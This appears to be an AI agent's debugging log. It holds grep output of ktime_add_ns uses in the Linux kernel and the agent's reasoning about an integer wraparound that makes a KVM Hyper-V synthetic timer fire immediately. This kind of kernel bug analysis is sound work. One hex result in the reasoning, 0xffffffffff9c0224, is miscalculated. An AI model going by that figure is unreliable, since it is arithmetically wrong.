arch/loongarch/kvm/timer.c-162- vcpu->arch.expire = expire;
--
arch/mips/kvm/emulate.c=385=static u32 kvm_mips_read_count_running(struct kvm_vcpu *vcpu, ktime_t now)
--
arch/mips/kvm/emulate.c-409- expires = hrtimer_get_expires(&vcpu->arch.comparecount_timer);
arch/mips/kvm/emulate.c:410: threshold = ktime_add_ns(now, vcpu->arch.count_period / 4);
arch/mips/kvm/emulate.c-411- if (ktime_before(expires, threshold)) {
--
arch/mips/kvm/emulate.c-425- if (running) {
arch/mips/kvm/emulate.c:426: expires = ktime_add_ns(expires,
arch/mips/kvm/emulate.c-427- vcpu->arch.count_period);
--
arch/mips/kvm/emulate.c=502=static void kvm_mips_resume_hrtimer(struct kvm_vcpu *vcpu,
--
arch/mips/kvm/emulate.c-513- delta = div_u64(delta * NSEC_PER_SEC, vcpu->arch.count_hz);
arch/mips/kvm/emulate.c:514: expire = ktime_add_ns(now, delta);
arch/mips/kvm/emulate.c-515-
--
arch/mips/kvm/emulate.c=853=int kvm_mips_set_count_ctl(struct kvm_vcpu *vcpu, s64 count_ctl)
--
arch/mips/kvm/emulate.c-887- vcpu->arch.count_hz);
arch/mips/kvm/emulate.c:888: expire = ktime_add_ns(vcpu->arch.count_resume, delta);
arch/mips/kvm/emulate.c-889-
--
arch/powerpc/kvm/book3s_hv.c=4605=static void kvmppc_vcore_blocked(struct kvmppc_vcore *vc)
--
arch/powerpc/kvm/book3s_hv.c-4615- if (vc->halt_poll_ns) {
arch/powerpc/kvm/book3s_hv.c:4616: ktime_t stop = ktime_add_ns(start_poll, vc->halt_poll_ns);
arch/powerpc/kvm/book3s_hv.c-4617- ++vc->runner->stat.generic.halt_attempted_poll;
--
arch/s390/kernel/diag/diag324.c=111=static void pibwork_handler(struct work_struct *work)
--
arch/s390/kernel/diag/diag324.c-116- mutex_lock(&pibmutex);
arch/s390/kernel/diag/diag324.c:117: timedout = ktime_add_ns(data->expire, PIBWORK_DELAY);
arch/s390/kernel/diag/diag324.c-118- if (ktime_before(ktime_get(), timedout)) {
--
arch/s390/kernel/diag/diag324.c=155=long diag324_pibbuf(unsigned long arg)
--
arch/s390/kernel/diag/diag324.c-175- data->sequence++;
arch/s390/kernel/diag/diag324.c:176: data->expire = ktime_add_ns(ktime_get(), tod_to_ns(data->pib->intv));
arch/s390/kernel/diag/diag324.c-177- mod_delayed_work(system_percpu_wq, &pibwork, nsecs_to_jiffies(PIBWORK_DELAY));
--
arch/x86/kvm/hyperv.c=634=static int stimer_start(struct kvm_vcpu_hv_stimer *stimer)
--
arch/x86/kvm/hyperv.c-660- hrtimer_start(&stimer->timer,
arch/x86/kvm/hyperv.c:661: ktime_add_ns(ktime_now,
arch/x86/kvm/hyperv.c-662- 100 * (stimer->exp_time - time_now)),
--
arch/x86/kvm/hyperv.c-682- hrtimer_start(&stimer->timer,
arch/x86/kvm/hyperv.c:683: ktime_add_ns(ktime_now, 100 * (stimer->count - time_now)),
arch/x86/kvm/hyperv.c-684- HRTIMER_MODE_ABS);
--
arch/x86/kvm/i8254.c=322=static void create_pit_timer(struct kvm_pit *pit, u32 val, int is_period)
--
arch/x86/kvm/i8254.c-360-
arch/x86/kvm/i8254.c:361: hrtimer_start(&ps->timer, ktime_add_ns(ktime_get(), interval),
arch/x86/kvm/i8254.c-362- HRTIMER_MODE_ABS);
--
arch/x86/kvm/lapic.c=2014=static void start_sw_tscdeadline(struct kvm_lapic *apic)
--
arch/x86/kvm/lapic.c-2037- likely(ns > apic->lapic_timer.timer_advance_ns)) {
arch/x86/kvm/lapic.c:2038: expire = ktime_add_ns(now, ns);
arch/x86/kvm/lapic.c-2039- expire = ktime_sub_ns(expire, ktimer->timer_advance_ns);
--
arch/x86/kvm/lapic.c=2053=static void update_target_expiration(struct kvm_lapic *apic, uint32_t old_divisor)
--
arch/x86/kvm/lapic.c-2073- nsec_to_cycles(apic->vcpu, ns_remaining_old);
arch/x86/kvm/lapic.c:2074: apic->lapic_timer.target_expiration = ktime_add_ns(now, ns_remaining_new);
arch/x86/kvm/lapic.c-2075-}
--
arch/x86/kvm/lapic.c=2077=static bool set_target_expiration(struct kvm_lapic *apic, u32 count_reg)
--
arch/x86/kvm/lapic.c-2121- nsec_to_cycles(apic->vcpu, deadline);
arch/x86/kvm/lapic.c:2122: apic->lapic_timer.target_expiration = ktime_add_ns(now, deadline);
arch/x86/kvm/lapic.c-2123-
--
arch/x86/kvm/lapic.c=2127=static void advance_periodic_target_expiration(struct kvm_lapic *apic)
--
arch/x86/kvm/lapic.c-2140- */
arch/x86/kvm/lapic.c:2141: ktimer->target_expiration = ktime_add_ns(ktimer->target_expiration,
arch/x86/kvm/lapic.c-2142- ktimer->period);
--
arch/x86/kvm/vmx/nested.c=2253=static void vmx_start_preemption_timer(struct kvm_vcpu *vcpu,
--
arch/x86/kvm/vmx/nested.c-2273- hrtimer_start(&vmx->nested.preemption_timer,
arch/x86/kvm/vmx/nested.c:2274: ktime_add_ns(ktime_get(), preemption_timeout),
arch/x86/kvm/vmx/nested.c-2275- HRTIMER_MODE_ABS_PINNED);
--
arch/x86/kvm/xen.c=186=static void kvm_xen_start_timer(struct kvm_vcpu *vcpu, u64 guest_abs,
--
arch/x86/kvm/xen.c-309- hrtimer_start(&vcpu->arch.xen.timer,
arch/x86/kvm/xen.c:310: ktime_add_ns(kernel_now, delta),
arch/x86/kvm/xen.c-311- HRTIMER_MODE_ABS_HARD);
--
block/blk-cgroup.c=1929=static void blkcg_maybe_throttle_blkg(struct blkcg_gq *blkg, bool use_memdelay)
--
block/blk-cgroup.c-1971-
block/blk-cgroup.c:1972: exp = ktime_add_ns(now, delay_nsec);
block/blk-cgroup.c-1973- tok = io_schedule_prepare();
--
drivers/clk/bcm/clk-bcm2835.c=348=static unsigned long bcm2835_measure_tcnt_mux(struct bcm2835_cprman *cprman,
--
drivers/clk/bcm/clk-bcm2835.c-368- /* Finish off whatever is left of OSCCOUNT */
drivers/clk/bcm/clk-bcm2835.c:369: timeout = ktime_add_ns(ktime_get(), LOCK_TIMEOUT_NS);
drivers/clk/bcm/clk-bcm2835.c-370- while (cprman_read(cprman, CM_OSCCOUNT)) {
--
drivers/clk/bcm/clk-bcm2835.c-379- /* Wait for BUSY to clear. */
drivers/clk/bcm/clk-bcm2835.c:380: timeout = ktime_add_ns(ktime_get(), LOCK_TIMEOUT_NS);
drivers/clk/bcm/clk-bcm2835.c-381- while (cprman_read(cprman, CM_TCNTCTL) & CM_BUSY) {
--
drivers/clk/bcm/clk-bcm2835.c=633=static int bcm2835_pll_on(struct clk_hw *hw)
--
drivers/clk/bcm/clk-bcm2835.c-650- /* Wait for the PLL to lock. */
drivers/clk/bcm/clk-bcm2835.c:651: timeout = ktime_add_ns(ktime_get(), LOCK_TIMEOUT_NS);
drivers/clk/bcm/clk-bcm2835.c-652- while (!(cprman_read(cprman, CM_LOCK) & data->lock_mask)) {
--
drivers/clk/bcm/clk-bcm2835.c=1047=static void bcm2835_clock_wait_busy(struct bcm2835_clock *clock)
--
drivers/clk/bcm/clk-bcm2835.c-1050- const struct bcm2835_clock_data *data = clock->data;
drivers/clk/bcm/clk-bcm2835.c:1051: ktime_t timeout = ktime_add_ns(ktime_get(), LOCK_TIMEOUT_NS);
drivers/clk/bcm/clk-bcm2835.c-1052-
--
drivers/clk/mstar/clk-msc313-cpupll.c=89=static void msc313_cpupll_setfreq(struct msc313_cpupll *cpupll, u32 regvalue)
--
drivers/clk/mstar/clk-msc313-cpupll.c-102-
drivers/clk/mstar/clk-msc313-cpupll.c:103: timeout = ktime_add_ns(ktime_get(), LPF_LOCK_TIMEOUT);
drivers/clk/mstar/clk-msc313-cpupll.c-104- while (!(ioread16(cpupll->base + REG_LPF_LOCK))) {
--
drivers/gpu/drm/amd/amdkfd/kfd_svm.c=3023=svm_range_restore_pages(struct amdgpu_device *adev, unsigned int pasid,
--
drivers/gpu/drm/amd/amdkfd/kfd_svm.c-3146- /* skip duplicate vm fault on different pages of same range */
drivers/gpu/drm/amd/amdkfd/kfd_svm.c:3147: if (ktime_before(timestamp, ktime_add_ns(prange->validate_timestamp,
drivers/gpu/drm/amd/amdkfd/kfd_svm.c-3148- AMDGPU_SVM_RANGE_RETRY_FAULT_PENDING))) {
--
drivers/gpu/drm/i915/gvt/display.c=606=void vgpu_update_vblank_emulation(struct intel_vgpu *vgpu, bool turnon)
--
drivers/gpu/drm/i915/gvt/display.c-627- hrtimer_start(&vblank_timer->timer,
drivers/gpu/drm/i915/gvt/display.c:628: ktime_add_ns(ktime_get(), vblank_timer->period),
drivers/gpu/drm/i915/gvt/display.c-629- HRTIMER_MODE_ABS);
--
drivers/gpu/drm/i915/gvt/sched_policy.c=340=static void tbs_sched_start_schedule(struct intel_vgpu *vgpu)
--
drivers/gpu/drm/i915/gvt/sched_policy.c-356- if (!hrtimer_active(&sched_data->timer))
drivers/gpu/drm/i915/gvt/sched_policy.c:357: hrtimer_start(&sched_data->timer, ktime_add_ns(ktime_get(),
drivers/gpu/drm/i915/gvt/sched_policy.c-358- sched_data->period), HRTIMER_MODE_ABS);
--
drivers/gpu/drm/i915/i915_wait_util.h-21-#define __wait_for(OP, COND, US, Wmin, Wmax) ({ \
drivers/gpu/drm/i915/i915_wait_util.h:22: const ktime_t end__ = ktime_add_ns(ktime_get_raw(), 1000ll * (US)); \
drivers/gpu/drm/i915/i915_wait_util.h-23- long wait__ = (Wmin); /* recommended min for usleep is 10 us */ \
--
drivers/gpu/drm/msm/disp/dpu1/dpu_encoder.c=1909=int dpu_encoder_vsync_time(struct drm_encoder *drm_enc, ktime_t *wakeup_time)
--
drivers/gpu/drm/msm/disp/dpu1/dpu_encoder.c-1944- cur_time = ktime_get();
drivers/gpu/drm/msm/disp/dpu1/dpu_encoder.c:1945: *wakeup_time = ktime_add_ns(cur_time, time_to_vsync);
drivers/gpu/drm/msm/disp/dpu1/dpu_encoder.c-1946-
--
drivers/gpu/drm/v3d/v3d_drv.h=478=struct v3d_submit_ext {
--
drivers/gpu/drm/v3d/v3d_drv.h-497-#define __wait_for(OP, COND, US, Wmin, Wmax) ({ \
drivers/gpu/drm/v3d/v3d_drv.h:498: const ktime_t end__ = ktime_add_ns(ktime_get_raw(), 1000ll * (US)); \
drivers/gpu/drm/v3d/v3d_drv.h-499- long wait__ = (Wmin); /* recommended min for usleep is 10 us */ \
--
drivers/gpu/drm/vc4/vc4_drv.h=854=struct vc4_validated_shader_info {
--
drivers/gpu/drm/vc4/vc4_drv.h-874-#define __wait_for(OP, COND, US, Wmin, Wmax) ({ \
drivers/gpu/drm/vc4/vc4_drv.h:875: const ktime_t end__ = ktime_add_ns(ktime_get_raw(), 1000ll * (US)); \
drivers/gpu/drm/vc4/vc4_drv.h-876- long wait__ = (Wmin); /* recommended min for usleep is 10 us */ \
--
drivers/hwmon/bt1-pvt.c=972=static int pvt_init_iface(struct pvt_hwmon *pvt)
--
drivers/hwmon/bt1-pvt.c-1012- pvt->timeout = ktime_divns(pvt->timeout, rate);
drivers/hwmon/bt1-pvt.c:1013: pvt->timeout = ktime_add_ns(pvt->timeout, PVT_SENSORS_NUM * PVT_TOUT_MIN);
drivers/hwmon/bt1-pvt.c-1014-#else
--
drivers/hwmon/bt1-pvt.c-1016- pvt->timeout = ktime_divns(pvt->timeout, rate);
drivers/hwmon/bt1-pvt.c:1017: pvt->timeout = ktime_add_ns(pvt->timeout, PVT_TOUT_MIN);
drivers/hwmon/bt1-pvt.c-1018-#endif
--
drivers/media/rc/gpio-ir-tx.c=93=static void gpio_ir_tx_modulated(struct gpio_ir *gpio_ir, uint *txbuf,
--
drivers/media/rc/gpio-ir-tx.c-123- gpiod_set_value(gpio_ir->gpio, 1);
drivers/media/rc/gpio-ir-tx.c:124: edge = ktime_add_ns(edge, pulse);
drivers/media/rc/gpio-ir-tx.c-125- delta = ktime_to_ns(ktime_sub(edge,
--
drivers/media/rc/gpio-ir-tx.c-129- gpiod_set_value(gpio_ir->gpio, 0);
drivers/media/rc/gpio-ir-tx.c:130: edge = ktime_add_ns(edge, space);
drivers/media/rc/gpio-ir-tx.c-131- delta = ktime_to_ns(ktime_sub(edge,
--
drivers/media/rc/serial_ir.c=215=static void send_pulse_homebrew_softcarrier(unsigned int length, ktime_t edge)
--
drivers/media/rc/serial_ir.c-235- on();
drivers/media/rc/serial_ir.c:236: edge = ktime_add_ns(edge, pulse);
drivers/media/rc/serial_ir.c-237- delta = ktime_to_ns(ktime_sub(edge, now));
--
drivers/media/rc/serial_ir.c-243- break;
drivers/media/rc/serial_ir.c:244: edge = ktime_add_ns(edge, space);
drivers/media/rc/serial_ir.c-245- delta = ktime_to_ns(ktime_sub(edge, now));
--
drivers/net/dsa/hirschmann/hellcreek.c=1673=static void hellcreek_start_schedule(struct hellcreek *hellcreek, int port)
--
drivers/net/dsa/hirschmann/hellcreek.c-1696- cycle_time);
drivers/net/dsa/hirschmann/hellcreek.c:1697: base_time = ktime_add_ns(base_time, (n + 1) * cycle_time);
drivers/net/dsa/hirschmann/hellcreek.c-1698- }
--
drivers/net/ethernet/engleder/tsnep_selftests.c=155=static void delay_base_time(struct tsnep_adapter *adapter,
--
drivers/net/ethernet/engleder/tsnep_selftests.c-165-
drivers/net/ethernet/engleder/tsnep_selftests.c:166: qopt->base_time = ktime_add_ns(qopt->base_time,
drivers/net/ethernet/engleder/tsnep_selftests.c-167- (n + 1) * qopt->cycle_time);
--
drivers/net/ethernet/intel/igb/igb_ptp.c=936=static void igb_ptp_tx_hwtstamp(struct igb_adapter *adapter)
--
drivers/net/ethernet/intel/igb/igb_ptp.c-963- shhwtstamps.hwtstamp =
drivers/net/ethernet/intel/igb/igb_ptp.c:964: ktime_add_ns(shhwtstamps.hwtstamp, adjust);
drivers/net/ethernet/intel/igb/igb_ptp.c-965-
--
drivers/net/ethernet/intel/igc/igc_main.c=1036=static __le32 igc_tx_launchtime(struct igc_ring *ring, ktime_t txtime,
--
drivers/net/ethernet/intel/igc/igc_main.c-1048-
drivers/net/ethernet/intel/igc/igc_main.c:1049: baset_est = ktime_add_ns(base_time, cycle_time * (n));
drivers/net/ethernet/intel/igc/igc_main.c:1050: end_of_cycle = ktime_add_ns(baset_est, cycle_time);
drivers/net/ethernet/intel/igc/igc_main.c-1051-
--
drivers/net/ethernet/intel/igc/igc_ptp.c=715=static void igc_ptp_tx_reg_to_stamp(struct igc_adapter *adapter,
--
drivers/net/ethernet/intel/igc/igc_ptp.c-744- shhwtstamps.hwtstamp =
drivers/net/ethernet/intel/igc/igc_ptp.c:745: ktime_add_ns(shhwtstamps.hwtstamp, adjust);
drivers/net/ethernet/intel/igc/igc_ptp.c-746-
--
drivers/net/ethernet/intel/igc/igc_tsn.c=446=static int igc_tsn_enable_offload(struct igc_adapter *adapter)
--
drivers/net/ethernet/intel/igc/igc_tsn.c-628-
drivers/net/ethernet/intel/igc/igc_tsn.c:629: base_time = ktime_add_ns(base_time, (n + 1) * cycle);
drivers/net/ethernet/intel/igc/igc_tsn.c-630- } else {
--
drivers/net/ethernet/netronome/nfp/flower/metadata.c=161=static int nfp_mask_alloc(struct nfp_app *app, u8 *mask_id)
--
drivers/net/ethernet/netronome/nfp/flower/metadata.c-187-
drivers/net/ethernet/netronome/nfp/flower/metadata.c:188: reuse_timeout = ktime_add_ns(priv->mask_ids.last_used[*mask_id],
drivers/net/ethernet/netronome/nfp/flower/metadata.c-189- NFP_FL_MASK_REUSE_TIME_NS);
--
drivers/net/ethernet/sfc/ptp.c=509=static ktime_t efx_ptp_s_qns_to_ktime_correction(u32 nic_major, u32 nic_minor,
--
drivers/net/ethernet/sfc/ptp.c-519- if (correction >= 0)
drivers/net/ethernet/sfc/ptp.c:520: kt = ktime_add_ns(kt, (u64)correction);
drivers/net/ethernet/sfc/ptp.c-521- else
--
drivers/net/ethernet/sfc/siena/ptp.c=448=static ktime_t efx_ptp_s_ns_to_ktime_correction(u32 nic_major, u32 nic_minor,
--
drivers/net/ethernet/sfc/siena/ptp.c-452- if (correction >= 0)
drivers/net/ethernet/sfc/siena/ptp.c:453: kt = ktime_add_ns(kt, (u64)correction);
drivers/net/ethernet/sfc/siena/ptp.c-454- else
--
drivers/net/ethernet/sfc/siena/ptp.c=522=static ktime_t efx_ptp_s_qns_to_ktime_correction(u32 nic_major, u32 nic_minor,
--
drivers/net/ethernet/sfc/siena/ptp.c-532- if (correction >= 0)
drivers/net/ethernet/sfc/siena/ptp.c:533: kt = ktime_add_ns(kt, (u64)correction);
drivers/net/ethernet/sfc/siena/ptp.c-534- else
--
drivers/net/ethernet/stmicro/stmmac/stmmac_tc.c=887=struct timespec64 stmmac_calc_tas_basetime(ktime_t old_base_time,
--
drivers/net/ethernet/stmicro/stmmac/stmmac_tc.c-900- cycle_time);
drivers/net/ethernet/stmicro/stmmac/stmmac_tc.c:901: base_time = ktime_add_ns(old_base_time,
drivers/net/ethernet/stmicro/stmmac/stmmac_tc.c-902- (n + 1) * cycle_time);
--
drivers/net/ethernet/xilinx/ll_temac_main.c=111=int temac_indirect_busywait(struct temac_local *lp)
drivers/net/ethernet/xilinx/ll_temac_main.c-112-{
drivers/net/ethernet/xilinx/ll_temac_main.c:113: ktime_t timeout = ktime_add_ns(ktime_get(), HARD_ACS_RDY_POLL_NS);
drivers/net/ethernet/xilinx/ll_temac_main.c-114-
--
drivers/pwm/pwm-microchip-core.c=68=static void mchp_core_pwm_enable(struct pwm_chip *chip, struct pwm_device *pwm,
--
drivers/pwm/pwm-microchip-core.c-95- if (mchp_core_pwm->sync_update_mask & (1 << pwm->hwpwm))
drivers/pwm/pwm-microchip-core.c:96: mchp_core_pwm->update_timestamp = ktime_add_ns(ktime_get(), period);
drivers/pwm/pwm-microchip-core.c-97-}
--
fs/jbd2/transaction.c=1836=int jbd2_journal_stop(handle_t *handle)
--
fs/jbd2/transaction.c-1921- if (trans_time < commit_time) {
fs/jbd2/transaction.c:1922: ktime_t expires = ktime_add_ns(ktime_get(),
fs/jbd2/transaction.c-1923- commit_time);
--
fs/nfsd/nfs4layouts.c=667=nfsd4_cb_layout_done(struct nfsd4_callback *cb, struct rpc_task *task)
--
fs/nfsd/nfs4layouts.c-692- /* Client gets 2 lease periods to return it */
fs/nfsd/nfs4layouts.c:693: cutoff = ktime_add_ns(task->tk_start,
fs/nfsd/nfs4layouts.c-694- (u64)nn->nfsd4_lease * NSEC_PER_SEC * 2);
--
fs/xfs/scrub/scrub.c=895=xfs_ioc_scrubv_metadata(
--
fs/xfs/scrub/scrub.c-988-
fs/xfs/scrub/scrub.c:989: expires = ktime_add_ns(ktime_get(),
fs/xfs/scrub/scrub.c-990- head.svh_rest_us * 1000);
--
include/linux/hrtimer.h=127=static inline void hrtimer_add_expires_ns(struct hrtimer *timer, u64 ns)
include/linux/hrtimer.h-128-{
include/linux/hrtimer.h:129: timer->node.expires = ktime_add_ns(timer->node.expires, ns);
include/linux/hrtimer.h:130: timer->_softexpires = ktime_add_ns(timer->_softexpires, ns);
include/linux/hrtimer.h-131-}
--
include/linux/ktime.h=36=static inline ktime_t ktime_set(const s64 secs, const unsigned long nsecs)
--
include/linux/ktime.h-59- */
include/linux/ktime.h:60:#define ktime_add_ns(kt, nsval) ((kt) + (nsval))
include/linux/ktime.h-61-
--
include/linux/ktime.h=177=static inline ktime_t ktime_add_us(const ktime_t kt, const u64 usec)
include/linux/ktime.h-178-{
include/linux/ktime.h:179: return ktime_add_ns(kt, usec * NSEC_PER_USEC);
include/linux/ktime.h-180-}
--
include/linux/ktime.h=182=static inline ktime_t ktime_add_ms(const ktime_t kt, const u64 msec)
include/linux/ktime.h-183-{
include/linux/ktime.h:184: return ktime_add_ns(kt, msec * NSEC_PER_MSEC);
include/linux/ktime.h-185-}
--
io_uring/cancel.c=259=int io_sync_cancel(struct io_ring_ctx *ctx, void __user *arg)
--
io_uring/cancel.c-307-
io_uring/cancel.c:308: timeout = ktime_add_ns(timespec64_to_ktime(ts), ktime_get_ns());
io_uring/cancel.c-309- }
--
io_uring/io_uring.c=2549=static int io_cqring_schedule_timeout(struct io_wait_queue *iowq,
--
io_uring/io_uring.c-2554- if (iowq->min_timeout) {
io_uring/io_uring.c:2555: timeout = ktime_add_ns(iowq->min_timeout, start_time);
io_uring/io_uring.c-2556- hrtimer_setup_on_stack(&iowq->t, io_cqring_min_timer_wakeup, clock_id,
--
kernel/sched/core.c=913=void hrtick_start(struct rq *rq, u64 delay)
--
kernel/sched/core.c-922- delta = max_t(s64, delay, 10000LL);
kernel/sched/core.c:923: rq->hrtick_time = ktime_add_ns(hrtimer_cb_get_time(timer), delta);
kernel/sched/core.c-924-
--
kernel/sched/deadline.c=1067=static int start_dl_timer(struct sched_dl_entity *dl_se)
--
kernel/sched/deadline.c-1097- delta = ktime_to_ns(now) - rq_clock(rq);
kernel/sched/deadline.c:1098: act = ktime_add_ns(act, delta);
kernel/sched/deadline.c-1099-
--
kernel/time/alarmtimer.c=421=u64 alarm_forward(struct alarm *alarm, ktime_t now, ktime_t interval)
--
kernel/time/alarmtimer.c-435-
kernel/time/alarmtimer.c:436: alarm->node.expires = ktime_add_ns(alarm->node.expires,
kernel/time/alarmtimer.c-437- incr*overrun);
--
kernel/time/clockevents.c=233=static int clockevents_program_min_delta(struct clock_event_device *dev)
--
kernel/time/clockevents.c-240- delta = dev->min_delta_ns;
kernel/time/clockevents.c:241: dev->next_event = ktime_add_ns(ktime_get(), delta);
kernel/time/clockevents.c-242-
--
kernel/time/clockevents.c=272=static int clockevents_program_min_delta(struct clock_event_device *dev)
--
kernel/time/clockevents.c-279- delta += dev->min_delta_ns;
kernel/time/clockevents.c:280: dev->next_event = ktime_add_ns(ktime_get(), delta);
kernel/time/clockevents.c-281-
--
kernel/time/hrtimer.c=1873=void hrtimer_interrupt(struct clock_event_device *dev)
--
kernel/time/hrtimer.c-1956- if (delta > 100 * NSEC_PER_MSEC)
kernel/time/hrtimer.c:1957: expires_next = ktime_add_ns(now, 100 * NSEC_PER_MSEC);
kernel/time/hrtimer.c-1958- else
--
kernel/time/ntp.c=506=static void sched_sync_hw_clock(unsigned long offset_nsec, bool retry)
--
kernel/time/ntp.c-510- if (retry)
kernel/time/ntp.c:511: exp = ktime_add_ns(exp, 2ULL * NSEC_PER_SEC - offset_nsec);
kernel/time/ntp.c-512- else
kernel/time/ntp.c:513: exp = ktime_add_ns(exp, SYNC_PERIOD_NS - offset_nsec);
kernel/time/ntp.c-514-
--
kernel/time/tick-broadcast.c=400=static void tick_handle_periodic_broadcast(struct clock_event_device *dev)
--
kernel/time/tick-broadcast.c-415- if (clockevent_state_oneshot(dev)) {
kernel/time/tick-broadcast.c:416: ktime_t next = ktime_add_ns(dev->next_event, TICK_NSEC);
kernel/time/tick-broadcast.c-417-
--
kernel/time/tick-common.c=86=static void tick_periodic(int cpu)
--
kernel/time/tick-common.c-92- /* Keep track of the next tick event */
kernel/time/tick-common.c:93: tick_next_period = ktime_add_ns(tick_next_period, TICK_NSEC);
kernel/time/tick-common.c-94-
--
kernel/time/tick-common.c=108=void tick_handle_periodic(struct clock_event_device *dev)
--
kernel/time/tick-common.c-129- */
kernel/time/tick-common.c:130: next = ktime_add_ns(next, TICK_NSEC);
kernel/time/tick-common.c-131-
--
kernel/time/tick-common.c=151=void tick_setup_periodic(struct clock_event_device *dev, int broadcast)
--
kernel/time/tick-common.c-175- return;
kernel/time/tick-common.c:176: next = ktime_add_ns(next, TICK_NSEC);
kernel/time/tick-common.c-177- }
--
kernel/time/tick-sched.c=57=static void tick_do_update_jiffies64(ktime_t now)
--
kernel/time/tick-sched.c-109-
kernel/time/tick-sched.c:110: last_jiffies_update = ktime_add_ns(last_jiffies_update,
kernel/time/tick-sched.c-111- incr * ticks);
kernel/time/tick-sched.c-112- } else {
kernel/time/tick-sched.c:113: last_jiffies_update = ktime_add_ns(last_jiffies_update,
kernel/time/tick-sched.c-114- TICK_NSEC);
--
kernel/time/tick-sched.c-120- /* Keep the tick_next_period variable up to date */
kernel/time/tick-sched.c:121: nextp = ktime_add_ns(last_jiffies_update, TICK_NSEC);
kernel/time/tick-sched.c-122-
--
kernel/time/timekeeping.c=814=ktime_t ktime_get(void)
--
kernel/time/timekeeping.c-829-
kernel/time/timekeeping.c:830: return ktime_add_ns(base, nsecs);
kernel/time/timekeeping.c-831-}
--
kernel/time/timekeeping.c=857=ktime_t ktime_get_with_offset(enum tk_offsets offs)
--
kernel/time/timekeeping.c-872-
kernel/time/timekeeping.c:873: return ktime_add_ns(base, nsecs);
kernel/time/timekeeping.c-874-
--
kernel/time/timekeeping.c=878=ktime_t ktime_get_coarse_with_offset(enum tk_offsets offs)
--
kernel/time/timekeeping.c-893-
kernel/time/timekeeping.c:894: return ktime_add_ns(base, nsecs);
kernel/time/timekeeping.c-895-}
--
kernel/time/timekeeping.c=929=ktime_t ktime_get_raw(void)
--
kernel/time/timekeeping.c-942-
kernel/time/timekeeping.c:943: return ktime_add_ns(base, nsecs);
kernel/time/timekeeping.c-944-}
--
kernel/time/timekeeping.c=1046=void ktime_get_snapshot(struct system_time_snapshot *systime_snapshot)
--
kernel/time/timekeeping.c-1074- systime_snapshot->cycles = now;
kernel/time/timekeeping.c:1075: systime_snapshot->real = ktime_add_ns(base_real, nsec_real);
kernel/time/timekeeping.c:1076: systime_snapshot->boot = ktime_add_ns(base_boot, nsec_real);
kernel/time/timekeeping.c:1077: systime_snapshot->raw = ktime_add_ns(base_raw, nsec_raw);
kernel/time/timekeeping.c-1078-}
--
kernel/time/timekeeping.c=1115=static int adjust_historical_crosststamp(struct system_time_snapshot *history,
--
kernel/time/timekeeping.c-1166- if (interp_forward) {
kernel/time/timekeeping.c:1167: ts->sys_monoraw = ktime_add_ns(history->raw, corr_raw);
kernel/time/timekeeping.c:1168: ts->sys_realtime = ktime_add_ns(history->real, corr_real);
kernel/time/timekeeping.c-1169- } else {
--
kernel/time/timekeeping.c=1304=int get_device_system_crosststamp(int (*get_time_fn)
--
kernel/time/timekeeping.c-1365-
kernel/time/timekeeping.c:1366: xtstamp->sys_realtime = ktime_add_ns(base_real, nsec_real);
kernel/time/timekeeping.c:1367: xtstamp->sys_monoraw = ktime_add_ns(base_raw, nsec_raw);
kernel/time/timekeeping.c-1368-
--
kernel/time/timekeeping.c=1480=static int __timekeeping_inject_offset(struct tk_data *tkd, const struct timespec64 *ts)
--
kernel/time/timekeeping.c-1505- /* Get the current time */
kernel/time/timekeeping.c:1506: now = ktime_add_ns(tkr_mono->base, timekeeping_get_ns(tkr_mono));
kernel/time/timekeeping.c-1507- /* Add the relative offset change */
--
kernel/time/timekeeping.c=2480=void ktime_get_real_ts64_mg(struct timespec64 *ts)
--
kernel/time/timekeeping.c-2496-
kernel/time/timekeeping.c:2497: mono = ktime_add_ns(mono, nsecs);
kernel/time/timekeeping.c-2498-
--
kernel/time/timekeeping.c=2561=ktime_t ktime_get_update_offsets_now(unsigned int *cwsseq, ktime_t *offs_real,
--
kernel/time/timekeeping.c-2573- nsecs = timekeeping_get_ns(&tk->tkr_mono);
kernel/time/timekeeping.c:2574: base = ktime_add_ns(base, nsecs);
kernel/time/timekeeping.c-2575-
--
kernel/time/timekeeping.c=2862=bool ktime_get_aux(clockid_t id, ktime_t *kt)
--
kernel/time/timekeeping.c-2884-
kernel/time/timekeeping.c:2885: *kt = ktime_add_ns(base, nsecs);
kernel/time/timekeeping.c-2886- return true;
--
kernel/torture.c=754=static int torture_stutter(void *arg)
--
kernel/torture.c-760- if (!torture_must_stop() && stutter > 1) {
kernel/torture.c:761: till_ns = ktime_add_ns(ktime_get(),
kernel/torture.c-762- jiffies_to_nsecs(stutter));
--
kernel/trace/ring_buffer_benchmark.c=232=static void ring_buffer_producer(void)
--
kernel/trace/ring_buffer_benchmark.c-248- start_time = ktime_get();
kernel/trace/ring_buffer_benchmark.c:249: timeout = ktime_add_ns(start_time, RUN_TIME * NSEC_PER_SEC);
kernel/trace/ring_buffer_benchmark.c-250- do {
--
]
]
|
| 48/2 |
2026/05/19 01:23 |
llm |
expert |
0m
Model:
Tokens:
input: 48656
output: 48
thoughts: 246
Thoughts: **Analyzing the hrtimer Calculation**
Okay, so looking at this `ktime_add_ns` function, it's really just a simple addition: `kt + nsval`. Makes sense. Now, let's break down that `ktime_add_ns` call in the context of this timer. I see we're adding `100 * (stimer->count - time_now)` to `ktime_now`. Initially, that large subtraction makes me pause, because it looks like we're headed towards a problematic value that's either ancient history or way in the future.
Ah, but wait, I see that `ktime_now` is really a call to `ktime_get()`. Got it. And that calculation, `100 * (stimer->count - time_now)`, has `0xffffffffffff0001` involved. Okay, if we treat that as an unsigned 64-bit integer (`u64`), the result of that calculation will be `0xffffffffff9c0224`.
Now, here's where it clicks. Adding that seemingly huge negative value to `ktime_now` is going to wrap around. It won't be some massive future time. It will actually be a time that's *slightly* less than `ktime_now`!
Crucially, we're using `HRTIMER_MODE_ABS`. So, when `hrtimer_start` gets this expiration time, it's going to think the timer is already in the past, even if only by a small amount.
If the calculated expiration time is in the past, the `hrtimer_start` function will queue the timer for immediate firing and the hrtimer softirq will fire immediately. It will trigger the timer callback function `stimer_timer_callback`. This is exactly the sort of wraparound problem I was thinking about.
|
| 49/2 |
2026/05/19 01:23 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:arch/x86/kvm/hyperv.c IncludeLines:true Name:stimer_timer_callback]
Results: map[SourceCode: 617: static enum hrtimer_restart stimer_timer_callback(struct hrtimer *timer)
618: {
619: struct kvm_vcpu_hv_stimer *stimer;
620:
621: stimer = container_of(timer, struct kvm_vcpu_hv_stimer, timer);
622: trace_kvm_hv_stimer_callback(hv_stimer_to_vcpu(stimer)->vcpu_id,
623: stimer->index);
624: stimer_mark_pending(stimer, true);
